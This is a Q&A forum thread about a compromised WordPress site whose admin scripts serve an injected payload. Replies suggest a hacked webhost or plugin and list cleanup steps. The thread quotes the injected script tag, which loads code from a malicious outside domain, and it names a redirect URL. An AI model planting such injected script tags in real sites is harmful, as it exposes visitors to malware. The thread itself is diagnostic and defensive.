I'm quite baffled by this issue and I have absolutely no idea what could be causing it. I have a Wordpress website that has been working fine, until for some reason, the admin panel started to screw up and wouldn't display all of the CSS correctly. Upon further investigation I found that the load-scripts.php and load-styles.php are loading with odd characters, as you can see:


This is basically a default Wordpress install, and I have reuploaded that file, yet the problem persists. It doesn't seem to be a character encoding issue, as the headers say it is UTF-8.

Here is the kind of scary part, if you remove all of the get attributes from that URL, the page displays:

<script src="http://sweepstakesandcontestsdo.com/nl.php?p=d"></script>

I won't navigate to that site because Safari says it is malicious. But how exactly could this be happening? Why would that URL come up? The code in that page has never been edited.

  • It's most likely from a vulnerable plugin, and xss or php injection attack, they aren't that harmful as you see just some js embedded into your index.php file. This is a big problem though on ecommerce sites that have dozens of index.php through out their templates. You should clean the files ASAP so that your site is not flagged as malware by Google, in which case just wait it out or ask for a review after it's cleaned. Update your plugins and WP.
    – Anagio
    Feb 28 '12 at 8:59

That script has this code in it:


It redirects your user to http://litic82sreac.rr.nu/n.php?h=1&s=nl. I recently saw this sort of attack on both phpBB and MediaWiki servers, so I think it might be a hacked webhost.

What webhost are you using?

  • Dreamhost. Any report of that?
    – John
    Feb 26 '12 at 6:10
  • 1
    Yep, that's the same webhost and the same URL pattern for the <script> tags. Dreamhost said that they found "possible traces of an attack" about a month ago and that everything was fixed. This is why I don't trust webhosts...
    – Blender
    Feb 26 '12 at 6:13
  • Do you happen to know of any resources on how to fix this? I haven't experimented much with the default Wordpress files save for some functions.php editing. Is it something in my SQL databases, or in the actual system files?
    – John
    Feb 26 '12 at 6:17
  • It is possibly the webhost itself. Someone might have broken into their servers and is infecting your files that way. Are only index.php files affected?
    – Blender
    Feb 26 '12 at 6:19
  • The only files I can tell that have this script are load-styles.php and load-scripts.php. The front-end is fine, but if I log in to my website the styles and scripts won't load because it somehow messes with the character encoding.
    – John
    Feb 26 '12 at 6:23

Definitly a hack!

  1. Back up your site locally, pop it in a zip file and keep hold of just incase you need it.
  2. Backup your database, zip it again and keep a spare copy incase you need it.
  3. Do a clean install of wordpress, backup the code and config when you're finished
  4. Migrate your theme files (check each theme file for nasty code) and plugins over and then watch carefully for a few days to see if the attack respawns.
  5. See my answer here for good information on locking down wordpress

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy